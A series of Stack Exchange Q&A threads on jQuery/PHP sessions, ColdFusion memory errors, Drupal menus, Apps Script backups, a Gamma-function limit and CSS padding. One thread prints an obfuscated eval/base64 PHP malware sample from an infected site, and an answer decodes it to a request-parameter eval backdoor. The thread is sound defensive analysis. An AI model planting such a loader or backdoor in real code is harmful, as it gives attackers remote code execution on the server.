                  <a class='btn-info btn-mini' href='pedidos_pdf/pedido_/<?php echo $_SESSION['IMPR_PEDIDO']['pedido']; ?>.pdf' target='_blank' download='Pedido_<?php echo $_SESSION['IMPR_PEDIDO']['pedido']; ?>'>

            <button type="button" class="btn btn-default" data-dismiss="modal">Sair</button>

Código javascript:
$(document).ready(function () {
   $('.informacoes').click(function () {
      var dados = $(this).val();
      $.ajax({
         type: 'GET',
         url: './ajax/pdf_pedido_faturado.php',
         data: 'pedido=' + dados,
         beforeSend: function () {
            $('

Salvando PDF aguarde!

').insertAfter('body');
            $('.ajaxModal').fadeIn('fast');
         },
         success: function () {
            ajaxModal_Close();
            $('#altera_cliente').modal('show');
         }
      });
      return false;
   });
});

Comment: O que pdf_pedido_faturado.php retorna (HTML, Json, string)?
Comment: Neste arquivo eu faço select e salvo um arquivo PDF em uma pasta do meu site, ai gravo uma $_SESSION['numero_'] , eu não estou retornando nada somente esta session.
Comment: Quer atualizar a div com qual conteúdo?
Comment: Quero atualizar a div com o valor que esta na $_SESSION
Comment: .pdf' target='_blank' download='Pedido_'>
Answer: O PHP é gerado uma única vez do lado o servidor e então transferido com todas as informações necessárias ao browser e renderiza a página.
O que voce pode fazer é construiu um arquivo .php que dá um echo dessa variável de sessão e utilizando jquery voce chama e popula sua div.
<?php
    echo $_SESSION['IMPR_PEDIDO']['pedido'];
?>

No jquery voce pode fazer assim
/* evento que abre é disparado quando o modal
do bootstrap é aberto (supondo que voce está usando bootstrap*/

$('#meuModal').on('show.bs.modal', function () {
    var callString = "url.php";
    $.get(callString, function (result) {
        $("#minhaDiv").text(result);
    });
});

Comment: cara desculpe minha ignorância mas não entendi, estou fazendo da seguinte maneiro. Tenho o arquivo busca_fotos.php ai nele tenho um require 'busca_fotos_mostra.php'; quando clico no bota de fotos da minha lista ele dispara um ajax que manda os dados via POST para um outro arquivo PHP esse busca o nome do arquivo da foto e salva na session, segue abaixo meu ajax.
Comment: Acho que seu comentario não coube inteiro, Maicon...
Comment: Essa e a parte que abre a modal so da erro na modal, lembrando que a modal é outro arquivo.
success: function (data) {
 if (data === 'FOTOS_OK') {
                                ajaxModal_Close();
                                $('#fotos').load('consulta_produto_fotos.php');
                                $('#fotos_prod').modal('show');
                            } else if (data === 'NAO_FOTOS') {
                                //alert(produto);
                                ajaxModal_Close();
                                $("#fotos_nao").modal();
 } }
Comment: O que voce precisa é mostra o nome da foto que está na sessão no titulo do modal '#fotos_prod', isso?
Comment: Na verdade na minha modal tenho um carrousel la faco foreach para exibir na tela as informacoes que foram salvas na session so que da erro

foreach ($_SESSION['fotos'] as $key => $value):
exibo as informacoes

Notice: Undefined index: fotos in C:\wamp\www\incoterm\consulta_produto_fotos.php on line 33
Comment: Voce está guardando um array dentro dessa variável?
Comment: Sera que poderia dar um help por skype depois posto a solucao aqui.
Comment: Vamos [continuar esta discussão no chat](http://chat.stackexchange.com/rooms/42554/discussion-between-andre-santarosa-and-maicon-fernando-stefene-da-sil).

Atualizar DIV sem refresh com Ajax


Eval PHP Hack Cannot decode code

Question: I Have read a lot on the normal php eval with the base64_encoder and was able to decode much of the infected php files.
With that said, I have this one file that does not follow standard eval call and I would like some help from the community.
Can anyone decode and/or tell me whats happening in the code?
Thanks,
--Eric
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnBvKi9ldmFsLypGUSZRX00qLygvKk56SiovYmFzZTY0X2RlY29kZS8qPDU+cyovKC8qTVl5YnMqLydMeW91U
EZJcUwybG1MeXBiY0h0aFZTb3ZLQzhxZCcvKndLc2Q/PGgqLy4vKllcdkgqLycweHVYRFJvTkNvdmFYTnpaWFF2S2sxTVBDb3ZLQycvKiF9Z1sqLy4vKiBrVlQqLyc4cWRYMHJLaThrWDFKRlVWVkZVMVF2S2
54Mk9DdCcvKjlRSG1Ta1FIKi8uLypFYlMuaCovJ2VNRHM4S2k5Ykx5cHNkSFlxTHlkakp5OHFkMmRHJy8qQUI5Ki8uLypxcyFIZU4qLydlQ292TGk4cVFsVXpObElxTHlkdUp5OHFjRGw0SScvKiY6ZSovLi8
qSlVxKi8nVU51S2k4dUx5b3hYQ1o2S2k4bmVTY3ZLbU10Sz'/*0B>.'&CK*/./*W1H*/'MnLypxcFpJKi8uLypBKWVTKi8nQlNLaTh1THlwa2JqRTFKVG9xTHlkemNTY3ZLa2QnLypgZj5zZTgqLy4vKjlENT
FcTyovJ0ROVGxWS2k5ZEx5cFRORXc1S2k4dkttaytXVE1vJy8qOmBaRUtlJkUqLy4vKlVILjspZSovJ1pTb3ZLUzhxT1RCbFVsWlZLaTh2S2xaSmRTVkpmJy8qVzpMa2hUKi8uLyo1cTNmdT8qLydDb3ZLUzh
xTlZvM0ppb3ZaWFpoYkM4cVp5MWNTMCcvKmheXTtbICovLi8qTC5SS2JZKi8nY3FMeWd2S21KNFZVNHllU292YzNSeWFYQnpiR0YnLypTS2MuJSovLi8qb3MwXjUySHsqLyd6YUdWekx5cGVWVjUzYnlvdktD
OHFKMk00SjBvcScvKlJrSCEqLy4vKk41JjkqLydMeVJmVWtW'/*Ju%:AN*/./*0\`a Z=*/'UlZVVlRWQzhxUUNoZGF5b3ZXeThxTCcvKjw8J3guaCovLi8qbixXKi8nV1JXZXpKSFB6QXFMeWRqYmljdktpMX
JlVkpKS2knLyotVS5zKi8uLyogUl5OKi8nOHVMeXBFVnpKYVoyRXFMeWQ1YzNFbkx5bzRTMFknLypjWmsqLy4vKjNkeWVMKi8naElEb3lRU292WFM4cU5peDZkU292THlwdlNVSngnLyonQVJWdyl1Ki8uLyp
eX1pKOmZ2Ki8nVVNvdktTOHFNV0JqS1V3cUx5OHFiMVU4T2tzcUwnLypUdlQrJkYqLy4vKmtFPDNmISovJ3lrdktsVkllMnNsS2k4dktsWmhVaTVUS3lvdk95OHFKbHhoZlN4MEtpOD0nLypaKWVePyovKS8q
J2tYKi8vKmsmViovKS8qMWdFVyovLyo8OHhObSovOy8qXW8/Ki8='/*L,}I*/)/*8Oyj*//*uEGgU*/)/*+LT*//*Q?.e*/;/*oGCkBv*/ ?>

Comment: it's base64 encoded (probably with parts of if multiple times) with php comments interspersed through it.
Answer: If you go all the way down the rabbit hole, you get the following command.
if(isset($_REQUEST['cnysq']))eval(stripslashes($_REQUEST['cnysq']));

If you open the code up in a visual editor, you'll see there are a lot of comments.  Remove those, and you'll see that it's a bas64 encoded string.
Decode that, and you'll see more of the same.
Keep removing comments and concatenating strings and after about 3 levels, you get to this point.
Answer: It's just a bunch of PHP comments in there, e.g. from the first line:
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnB etc...
      ^^^^^^^    ^^^^^^^^^^^ ^^^^^^^^             ^^^^^^^^^ ^^^^^^^--comments

is really just
<?php eval(base64_decode('LyPSnB  etc...

Comment: And then the usual nested eval/base64 sequence. It seems that in all steps there are additional comments inserted.
Comment: that's just to further obfuscate the code. given the comments are ignore by php, any random garbage in the comments is probably enough to fool most virus scanners.

Eval PHP Hack Cannot decode code


Avoid heap error while looping in coldfusion

Question: I am trying to loop over a 2-D array whose dimensions are 12000 * 20 and I am continuously getting java.lang.OutOfMemoryError.
Initially I thought this might be because of heap size so I increased my heap size but I was still getting the same error. So I ran a garbage collector like this:
<cflock name="checkMemory" type="exclusive" timeout="1" throwontimeout="yes">
    <cfset objSystem = CreateObject( "java", "java.lang.System" )>
    <cfset objSystem.gc()>
</cflock>

and I dumped the free memory which was around 850MB:
<cfset runtime = CreateObject("java","java.lang.Runtime").getRuntime()>
<cfset freeMemory = runtime.freeMemory()>
<cfdump var="#freeMemory#" label="free">

Here I am trying to create a XML variable and while looping I am getting heap error:
<cfxml variable="variables.XML">
  <cfoutput>
    <ROWS>
      <cfloop from="3" to="#arrayLen(local.array)#" index="i" step="1">
        <ROW>
          <cfloop from="1" to="#arrayLen(local.array[2])#" index="j" step="1">
            <#ucase(local.array[2][j])#>
              <![CDATA[#trim(local.array[i][j])#]]>
            </#ucase(local.array[2][j])#>
          </cfloop>
        </ROW>
      </cfloop>
    </ROWS>
  </cfoutput>
</cfxml>

This is the stack trace:

java.lang.OutOfMemoryError at
  java.io.WinNTFileSystem.getBooleanAttributes(Native Method) at
  java.io.File.exists(File.java:733) at
  coldfusion.xml.XmlProcessor.getSourceURL(XmlProcessor.java:246) at
  coldfusion.xml.XmlProcessor.parse(XmlProcessor.java:155) at
  coldfusion.tagext.lang.XmlTag.doEndTag(XmlTag.java:85) at
  cffeeds2ecfc1003675922$funcDEMO1._factor8(C:\component\abc.cfc:1235)
  at
  cffeeds2ecfc1003675922$funcDEMO1.runFunction(C:\component\abc.cfc:1192)
  at coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:472) at
  coldfusion.runtime.UDFMethod$ReturnTypeFilter.invoke(UDFMethod.java:405)
  at
  coldfusion.runtime.UDFMethod$ArgumentCollectionFilter.invoke(UDFMethod.java:368)
  at
  coldfusion.filter.FunctionAccessFilter.invoke(FunctionAccessFilter.java:55)
  at coldfusion.runtime.UDFMethod.runFilterChain(UDFMethod.java:321) at
  coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:220) at
  coldfusion.runtime.CfJspPage._invokeUDF(CfJspPage.java:2582) at
  cffeeds2ecfc1003675922$funcDEMO.runFunction(\component\abc.cfc:935) at
  coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:472) at
  coldfusion.runtime.UDFMethod$ReturnTypeFilter.invoke(UDFMethod.java:405)
  at
  coldfusion.runtime.UDFMethod$ArgumentCollectionFilter.invoke(UDFMethod.java:368)
  at
  coldfusion.filter.FunctionAccessFilter.invoke(FunctionAccessFilter.java:55)
  at coldfusion.runtime.UDFMethod.runFilterChain(UDFMethod.java:321) at
  coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:517) at
  coldfusion.runtime.TemplateProxy.invoke(TemplateProxy.java:496) at
  coldfusion.runtime.TemplateProxy.invoke(TemplateProxy.java:355) at
  coldfusion.filter.ComponentFilter.invoke(ComponentFilter.java:188) at
  coldfusion.filter.ApplicationFilter.invoke(ApplicationFilter.java:374)
  at
  coldfusion.filter.RequestMonitorFilter.invoke(RequestMonitorFilter.java:48)
  at coldfusion.filter.MonitoringFilter.invoke(MonitoringFilter.java:40)
  at coldfusion.filter.PathFilter.invoke(PathFilter.java:94) at
  coldfusion.filter.ExceptionFilter.invoke(ExceptionFilter.java:70) at
  coldfusion.filter.ClientScopePersistenceFilter.invoke(ClientScopePersistenceFilter.java:28)
  at coldfusion.filter.BrowserFilter.invoke(BrowserFilter.java:38) at
  coldfusion.filter.NoCacheFilter.invoke(NoCacheFilter.java:46) at
  coldfusion.filter.GlobalsFilter.invoke(GlobalsFilter.java:38) at
  coldfusion.filter.DatasourceFilter.invoke(DatasourceFilter.java:22) at
  coldfusion.xml.rpc.CFCServlet.invoke(CFCServlet.java:139) at
  coldfusion.xml.rpc.CFCServlet.doPost(CFCServlet.java:290) at
  javax.servlet.http.HttpServlet.service(HttpServlet.java:760) at
  org.apache.axis.transport.http.AxisServletBase.service(AxisServletBase.java:327)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:853) at
  coldfusion.bootstrap.BootstrapServlet.service(BootstrapServlet.java:89)
  at jrun.servlet.FilterChain.doFilter(FilterChain.java:86) at
  com.intergral.fusionreactor.filter.FusionReactorFilter.i(FusionReactorFilter.java:566)
  at
  com.intergral.fusionreactor.filter.FusionReactorFilter.c(FusionReactorFilter.java:258)
  at
  com.intergral.fusionreactor.filter.FusionReactorFilter.doFilter(FusionReactorFilter.java:164)
  at jrun.servlet.FilterChain.doFilter(FilterChain.java:94) at
  coldfusion.monitor.event.MonitoringServletFilter.doFilter(MonitoringServletFilter.java:42)
  at
  coldfusion.bootstrap.BootstrapFilter.doFilter(BootstrapFilter.java:46)
  at jrun.servlet.FilterChain.doFilter(FilterChain.java:94) at
  jrun.servlet.FilterChain.service(FilterChain.java:101) at
  jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:106) at
  jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42) at
  jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:286)
  at
  jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:543)
  at
  jrun.servlet.jrpp.JRunProxyService.invokeRunnable(JRunProxyService.java:203)
  at
  jrunx.scheduler.ThreadPool$DownstreamMetrics.invokeRunnable(ThreadPool.java:320)
  at
  jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:428)
  at
  jrunx.scheduler.ThreadPool$UpstreamMetrics.invokeRunnable(ThreadPool.java:266)
  at jrunx.scheduler.WorkerThread.run(WorkerThread.java:66)

Is there any better solution to avoid looping like this or to resolve this error?
I created a cfm page locally and added some variables in it like this:
<cfset runtime = CreateObject("java","java.lang.Runtime").getRuntime()>
<cfset freeMemory = runtime.freeMemory()>
<cfset totalMemory = runtime.totalMemory()>
<cfset maxMemory = runtime.maxMemory()>
<cfdump var="#freeMemory#" label="free">
<cfdump var="#totalMemory#" label="total">
<cfdump var="#maxMemory#" label="max">

Every time I was refreshing this page the free memory size was decreasing until I ran the GC. I am still trying to figure out why this is happening. Any suggestions in this regard?
Please help.
Thanks in advance.
Comment: I'd perhaps build the string first, then convert it to XML, rather than use CFXML, which I've had memory issues with in the past. What are you doing with this XML once you've created it? Also agree with Duncan: you don't need to ucase() the same string multiple times. Possibly also use StringBuilder, rather than String for this.
Comment: What happens if you move the CFOUTPUT to the outside of your loops so you aren't calling it 240,00 separate times.  When building large strings, I prefer to dump string fragments into a 1 dimensional array & then use ArrayToList(Array, "") at the end.  Then perform CFXML with the final, single generated string versus doing it all within the CFXML block.
Comment: The relevant part of the code here would be the bit that you abbreviate as `//Some operation`. It's impossible to comment what one can do to make that code more memory-usage friendly without seeing it.
Comment: So `array2` isn't actually the sub-array of `array`, it's just a different area of the same length, defining all the XML nodes?  It might help to show how you create your array variables to confirm this.  I'd be tempted to just use UCase when you populate array2, thus reducing 12000 * 20 * 2 function calls.
Comment: @duncan its array[2] not array2. I have corrected it.
Comment: same thing still applies.  The value of `array[2][j]` is always the same, every single time you call it on your 3..12000 iterations.
Comment: @duncan I am calling it every time to create same node in different `row` node. And `array[2]` is also dynamic. So I have to loop. Can this be done in some better way?
Comment: Loop once just over array[2], setting all the values to UCase, before your main loop.  Then you remove the need to call UCase twice on every one of the thousands of iterations of the subsequent loops
Comment: I have modified my code but still getting heap error.
Comment: @AdamCameron This XML will be used for reporting purpose and some DB inserts. I have modified my code and removed the multiple ucase. I am checking this using `stringBuilder`. Thanks
Comment: The problem seems to be that you are trying to deal with too much data.  Look at where that data is coming from and see if it can be reduced.  If not, look for a way to break it into chunks and process each chunk separately.
Comment: So to be clear, do you ever actually need the XML to be a *CFML XML object*, or will it be used by a separate system (so it can just stay being a string)?
Comment: Yes, I need to create a *CFML XML* object for other system.
Comment: @JamesMoberg I have modified my code and moved `cfoutput`.
Comment: increased your heap size to how much exactly?  are you using 64-bit?
Comment: @Beginner Did you try using an array to build the string outside of the CFXML function?  This will help identify whether the issue is with the XML generation versus the CFXML function. (I'm guessing it's w/CFXML.)
Comment: @JamesMoberg I have added my answer.
Answer: After suggestions from Adam Cameron, Dan Bracuk and James Moberg, I have done the following and I am not getting the heap error now. I suspect that it was because of CFXML tag but not sure.
Converting all element of array[2] to uppercase:
<cfloop from="1" to="#arrayLen(local.array[2])#" index="i" step="1">
  <cfset local.array[2][i] = ucase(local.array[2][i])>
</cfloop>

Then using cfsavecontent to generate the xml string:
<cfsavecontent variable="local.xmlString">
  <?xml version="1.0" encoding="UTF-8"?>
  <ROWS>
    <cfoutput>
      <cfloop from="3" to="#arrayLen(local.array)#" index="local.currentRow" step="1">
        <ROW>
          <cfloop from="1" to="#arrayLen(local.array[2])#" index="local.currentColumn" step="1">
            <#local.array[2][local.currentColumn]#>
              <![CDATA[#trim(local.array[local.currentRow][local.currentColumn])#]]>
            </#local.array[2][local.currentColumn]#>
          </cfloop>
        </ROW>
      </cfloop>
    </cfoutput>
  </ROWS>
</cfsavecontent>
<cfset local.xml = xmlParse(local.xmlString)>


Set the menu link as disabled by default

Question: When I create a new node its menu link is enabled by default. I would like to enable it manually only in case if I need.
Is there a way to set the checkbox in menu tree as uncheked by default?
Comment: version D7 or D6?
Comment: sorry, I use D7
Comment: when you check 'Provide a menu link' then its mean menu is enabled. try other options -unpublished node or -If you would like to enable it manually then edit node and enable
Comment: I'm affraid it will be too comlicated for my users :(
Comment: I found the solution: Disable Node Menu Item Module http://drupal.org/project/disable_node_menu_item, I don't know is it enough stable version but I hope it will work.
Answer: Have a look at this module, I guess that is what you want.
http://drupal.org/project/default_menu_link
Some details from the module's project page:

Provides the user with a check box on all content types to set the "provide a menu link" value to true by default.
This is basically a nice way to ensure the menu system is adhered to by all content authors.
There is a similar module called menu_force that does just that. Whereas Menu Force mandates menu assignment, Default Menu Link merely changes the status of "Provide a Menu Link" to true. The user can still create content and choose to un-check this box. However, the default state (on node creation) will be true, and as long as you've set a default menu parent item, all content will be filed under that parent.
Comment: this module provides another option. I need to have a menu link but also I need to hide it in menu as I use Menu Views to create mega menu. By default all new content menu links appear in menu tree as enabled links destroying menu. I need to hide menu links
Comment: Thanks for share this module! It's small, but works perfectly :)
Answer: I found the solution: Disable Node Menu Item Module drupal.org/project/disable_node_menu_item, I don't know is it enough stable version but I hope it will work
Answer: By default, all menu items are "enabled." This means they display. Menu items can also be disabled though. A disabled menu item knows who its parent is, so the related sub-menu and breadcrumb will display. But - you don't have to necessarily clutter up your menu with another visible link. (Note: this is only really applicable to the main menu since that's what drives the sub-menu and breadcrumb.)
To create a disabled menu item:

Put the page/webform/list into the menu using the menu settings
section of that content's edit form.
Click "Main menu" in the gray shortcut bar.
Find the menu item you want to disable.
Uncheck "enabled" next to it.
Click save at the bottom.

If you want to create a sub-menu below a page that doesn't display in the top menu, just disable the top menu item and leave it's children enabled.
Thank you.


Google Scripts Editor-Overwrite backup file

Question: I am working with Google Scripts Editor. The purpose of my script is to backup a spreadsheet from Google Sheets to my local as a csv. I would like each new backup to overwrite the previous backup file. Currently the script results in subsequent backup files as the same name but as a copy (Ex. filename (1).csv and filename (2).csv) Any help in overwriting would be appreciated.
  function myFunction() {// UPDATE THE FOLDER ID for e.g. "My Drive > Docs > Backups"
  var backupFolder = DriveApp.getFolderById("foldername");
  var spreadsheet = SpreadsheetApp.getActiveSpreadsheet();
  var spreadsheetId = spreadsheet.getId();
  var file = Drive.Files.get(spreadsheetId);
  var url = file.exportLinks[MimeType.CSV];

  // UPDATE THE SHEET-NAME TO BE EXPORTED - e.g. sheetName = "Malawi Ops"
  // -- LEAVE IT BLANK TO EXPORT THE ENTIRE SPREADSHEET - i.e. sheetName = ""
  var sheetName = "";
  if (sheetName.length) {
    var sheet = spreadsheet.getSheetByName(sheetName);
    var sheetId = sheet.getSheetId();
    url += "&gid=" + sheetId;
  }

  var token = ScriptApp.getOAuthToken();
  var options = { headers: { Authorization: "Bearer " + token } };
  var response = UrlFetchApp.fetch(url, options);
  var doc = response.getBlob();
  var backupDate = Utilities.formatDate(new Date(), "GMT", "yyyy-MM-dd' 'HH-mm-ss");
  var backupName = spreadsheet.getName() + ".csv";
  var tempFile = DriveApp.createFile(doc).setName(backupName);
  tempFile.makeCopy(backupName, backupFolder);
  tempFile.setTrashed(true);

}

Comment: In your question, you say `The purpose of my script is to backup a spreadsheet from Google Sheets to my local as a csv.`. But in your script, the Google Spreadsheet is converted to an Excel file and it is put to `backupFolder` in your Google Drive. From this situation, I cannot understand about your goal. Can I ask you about the detail of it?
Comment: Code is edited to reflect exporting as csv. I am trying to backup to local as a csv. What I am unclear about is whether I can force an overwrite of the original file on my local via the Google Scripts Editor and what that code would look like. Currently each time I run the script, I end up with a copy of the original, instead of overwriting.
Comment: Thank you for replying. Unfortunately, in the current stage, your goal cannot be achieved. Because the Google Scripts Editor cannot be used the files in the local PC. I deeply apologize for this.
Answer: I understood that you are using your code to make CSV backups of your Sheets, and you want each new backup to override the old one. If I understood it well, you are very close from reaching your goal.
After copying the new backup, you only need to delete the old one. This isn't directly overwriting, but has the same result. Immediately after you created your new CSV, you can search for the old one and use  File.isTrashed() on it. Please, don't hesitate to ask me any doubts.
Comment: Thank you for your response. How would I search for the old one? Maybe using getDateCreated()? And if so, do you have an example of how I might write that?
Comment: Hi there @heather! Yes, you could use [`File.getDateCreated()`](https://developers.google.com/apps-script/reference/drive/file#getdatecreated) for that operation. If you know the filename, an easier alternative could be to delete the file based on the name. This approach would only work on Drive backups, if you want to store them elsewhere, please answer back indicating it so I can help you better.


Proving $\lim_{x\to\infty}\frac{\Gamma(x)}{\Gamma(x+\varepsilon)}=0$ for all $\varepsilon>0$.

Question: I want to show that, for all $\varepsilon>0$, we have $$\lim_{x\to\infty}\frac{\Gamma(x)}{\Gamma(x+\varepsilon)}=0.$$ This is a real-valued special case of 8.328, 2. in the eighth edition of Gradshteyn-Ryzhik.
For my attempts, see my answers below. In one of my answers, I also show that, as $x\to\infty$, $$\bbox[5px,border:2px solid #C0A000]{\frac{\Gamma(x+1)x^\varepsilon}{\Gamma(x+1+\varepsilon)}=1+O(1/x),}$$ which is a stronger statement that the one written above.
Answer: Proposition. Let $f:]0,\infty[\to\mathbb ]0,\infty[$ be a function that satisfies

$\ln\circ f$ is convex;
$\lim_{x\to\infty}\frac{\ln\circ f(x)}{x}=\infty$.

Then $\lim_{x\to\infty}\frac{f(x)}{f(x+\varepsilon)}=0$ for every $\varepsilon>0$.

Note that 1. is true for the Gamma function (cf. Proofwiki) and 2. is true for the Gamma function by this.

Proof of Proposition. By log convexity, for any $\lambda\in[0,1]$ and $a,b\in]0,\infty[$, $$\ln\circ f(\lambda a+(1-\lambda) b)\le \lambda\ln(f(a))+(1-\lambda)\ln(f(b)).$$
So $$f(\lambda a+(1-\lambda) b)\le f(a)^\lambda f(b)^{1-\lambda}.$$ Set $a=1, b=x+\varepsilon, \lambda=\frac{\varepsilon}{\varepsilon+x-1}$, then you get $$f(x)\le f(1)^{\text{something}\le 1} f(x+\varepsilon)^{1-\varepsilon/(\varepsilon+x-1)}.$$
Therefore, for $C=\sup_{y\in[0,1]}f(1)^y\in\mathbb R$, we get $$\frac{f(x)}{f(x+\varepsilon)}\le C f(x+\varepsilon)^{-\varepsilon/(\varepsilon+x-1)}.$$
The logarithm of the right-hand side is (the inequality being true whenever $f(x+\varepsilon)\ge 1$, which is the case for $x$ large enough by the second condition on $f$) $$-\frac{\varepsilon}{\varepsilon+x-1}\ln(f(x+\varepsilon))\le -\varepsilon\frac{f(x+\varepsilon)}{x+\varepsilon},$$
which converges to $-\infty$ as $x\to\infty$ by the second condition on $f$, and then taking exponentials, one can conclude that the original term must go to $0$.
Answer: This is the same idea as in your answer, only with a slightly shorter proof.
$g(x) = \ln(\Gamma(x))$ is convex with $\lim_{x \to \infty} g(x)/x = \infty$. The convexity condition for $1 < x < x+\epsilon$ gives
$$
 g(x) \le \frac{\epsilon}{x+\epsilon-1}g(1) + \frac{x-1}{x+\epsilon-1}g(x+\epsilon)
$$
or
$$
g(x)-g(x+\epsilon) \le \frac{\epsilon}{x+\epsilon-1} \left( g(1) - g(x+\epsilon) \right) \, .
$$
It follows that $\lim_{x \to \infty} g(x)-g(x+\epsilon) = -\infty$, which is equivalent to $\lim_{x\to\infty}\frac{\Gamma(x)}{\Gamma(x+\epsilon)}=0.$.
Answer: One can also show the stronger (this is the real-valued Gradshteyn-Ryzhik statement)
Fact. For any fixed $\varepsilon>0$, $$\lim_{x\to\infty}\frac{\Gamma(x) x^\varepsilon}{\Gamma(x+\varepsilon)} = 1.$$ In fact, we even have, as $x\to\infty$, $$\bbox[5px,border:2px solid #C0A000]{\frac{\Gamma(x+1)x^\varepsilon}{\Gamma(x+1+\varepsilon)}=1+O(1/x).}$$
For the proof of this fact I will use the following Stirling-bound:
Theorem ([1; Theorem 1.6]). There exist real numbers $0<a<b$ such that, for all $x\ge 1$, $$\left(\frac xe\right)^x\sqrt{2\pi(x+a)}<\Gamma(x+1)<\left(\frac xe\right)^x\sqrt{2\pi(x+b)}.$$
Remark. Furthermore, it is proven in [1; Theorem 1.6] that the before-mentioned inequality holds for $a=\frac 16$ and $b=\frac{e^2}{2\pi}-1$, and that these constants cannot be improved.
It should be noted that one may be able to use more elementary Stirling approximations for $\Gamma$ in order to prove the result here. The one above (which is not easy to prove) is chosen only for convenience.
Proof of Proposition. $\varepsilon>0$ shall be fixed. For $x\ge 1$, let $$f(x)=\Gamma(x+1)\left(\frac xe\right)^{-x} \frac1{\sqrt{2\pi}\sqrt{x}}.$$
By the Theorem before, we have $f(x)\in\left]\sqrt{1+\frac ax},\sqrt{1+\frac bx}\right[$ for all $x$. In particular, $\lim_{x\to\infty} f(x)=1$ (in fact, $f(x)=1+O(1/x)$ as $x\to\infty$).
So we get $$\frac{\Gamma(x+1)x^\varepsilon}{\Gamma(x+1+\varepsilon)} = \color{blue}{\frac{\sqrt{x}}{\sqrt{x+\varepsilon}}\frac{f(x)}{f(x+\varepsilon)}} e^\varepsilon \color{green}{\frac{x^{x+\varepsilon}}{(x+\varepsilon)^{x+\varepsilon}}}.$$
We note first that, from the before argument for $f$, and an argument for the square root (for instance the Laurent series or by noting $g(x)\overset{\text{Def.}}=\sqrt{1+\varepsilon/x}-1=O(1/x)$ and then writing $\frac{1}{\sqrt{1+\varepsilon/x}}=\frac{1}{1+g(x)}=\frac{x}{x+xg(x)}=1-\frac{xg(x)}{x+xg(x)}$ and then noticing that $xg(x)=O(1)$)
$$\color{blue}{\frac{\sqrt{x}}{\sqrt{x+\varepsilon}}\frac{f(x)}{f(x+\varepsilon)}}=1+O(1/x).$$
The green term is equal to $$\color{purple}{\frac{x^x}{(x+\varepsilon)^x}}\color{orange}{\frac{x^\varepsilon}{(x+\varepsilon)^\varepsilon}}.$$
The purple term equals (for the convergence speed see this) $$\left(1+\frac\varepsilon x\right)^{-x}=e^{-\varepsilon}+O(1/x).$$
The orange term is $\left(1+\frac\varepsilon x\right)^\varepsilon$, which has the first order Laurent series $1+O(1/x)$. In conclusion, $$\bbox[5px,border:2px solid #C0A000]{\frac{\Gamma(x+1)x^\varepsilon}{\Gamma(x+1+\varepsilon)}=1+O(1/x)}$$ as $x\to\infty$, which is what we wanted to prove.
Literature
[1] Necdet Batir: Inequalities for the Gamma function. Arch. Math. 91, pages 554–563 (2008). https://doi.org/10.1007/s00013-008-2856-9
Answer: For the question in title
$$\lim_{x\to\infty}\frac{\Gamma(x)}{\Gamma(x+\varepsilon)}$$ take logarithms, use Stirling approximation and continue with Taylor series to obtain
$$\log\Bigg[\frac{\Gamma(x)}{\Gamma(x+\varepsilon)}\Bigg]=-\epsilon  \log (x)-\frac{(\epsilon -1) \epsilon }{2 x}+\frac{(\epsilon -1)
   \epsilon  (2 \epsilon -1)}{12 x^2}+O\left(\frac{1}{x^3}\right)$$ that is to say
$$\frac{\Gamma(x)}{\Gamma(x+\varepsilon)}=x^{-\epsilon }\Bigg[1-\frac{(\epsilon -1) \epsilon }{2 x}+\frac{(\epsilon -1) \epsilon  (\epsilon +1)
   (3 \epsilon -2)}{24 x^2}+O\left(\frac{1}{x^3}\right)\Bigg]$$
Doing the same for
$$\frac{\Gamma(x+1)\,x^\varepsilon}{\Gamma(x+1+\varepsilon)}=1-\frac{\epsilon  (\epsilon +1)}{2 x}+\frac{\epsilon  (\epsilon +1) (\epsilon +2)
   (3 \epsilon +1)}{24 x^2}+O\left(\frac{1}{x^3}\right)$$
Comment: In fact, this is like my second answer but with higher order terms
Comment: @MaximilianJanisch. I fully agree, for sure. Cheers :-)
Answer: From the identity $$\Gamma(x+1) = x\Gamma(x)\tag{$*$}$$ we have
$$\frac{\Gamma(x)}{\Gamma(x+\varepsilon)} = \frac{1}{x}\color{blue}{\frac{\Gamma(x+1)}{\Gamma(x+\varepsilon)}} \tag{1}$$
Applying Gautschi's inequality to the $\color{blue}{\text{blue}}$ expression, we observe that
$$\bbox[5px,border:2px solid #C0A000]{x^{-\varepsilon} < \frac{\Gamma(x)}{\Gamma(x+\varepsilon)} < (x+1)^{-\varepsilon}\left(1 + \frac{1}{x}\right)}$$
Now, just the Sandwich theorem will finish the job as $x\to \infty$ and $\varepsilon > 0$. $\quad \square$
Note: Gautschi's inequality gives the statement used for $\varepsilon \in (0, 1)$ only. However, the identity $(*)$ reduces everything back to $\varepsilon \in (0,1)$ (i.e. no loss of generality).
Comment: Perfect, this inequality is exactly what I was originally thinking of


How to not display css padding when span element is empty

Question: I've been trying to solve the following problem.
If you run this code you will notice blue and red elements.
How can I hide  the 'red element' when there is no text to display (span is empty). And I would like to do the same thing with 'blue element' when there is no text inside it shouldn't be visible.
The reason why is displayed is padding, but I would like to have padding because it looks nice.
I am sure you guys are best of the best and find solution.
Regards!

.myClassDer {
  font-size: 34px;
  color:white;
  background: blue;
  color: white;
  border-radius: 25px;
  padding: 7px;
  width: auto;
  height: auto;
}

.myClassDie {
  font-size: 34px;
  color:black;
  background: red;
  color: white;
  border-radius: 25px;
  padding: 7px;
  width: auto;
  height: auto;
}
here

Comment: Possible duplicate of [CSS style padding for an empty element](http://stackoverflow.com/questions/1992822/css-style-padding-for-an-empty-element)
Comment: You want an answer with html css only or is JS or Jquery fair game?
Answer: If you don't require support for IE8, you can use pseudo-state :empty (here for more examples ) to reset padding for all instances of .myClassDie without content, using the following code.
.myClassDie:empty
{
   padding:0;
}

Updating your working example, it becomes:
.myClassDer
{
  font-size: 34px;
  color:white;
  background: blue;
  color: white;
  border-radius: 25px;
  padding: 7px;
  width: auto;
  height: auto;
}

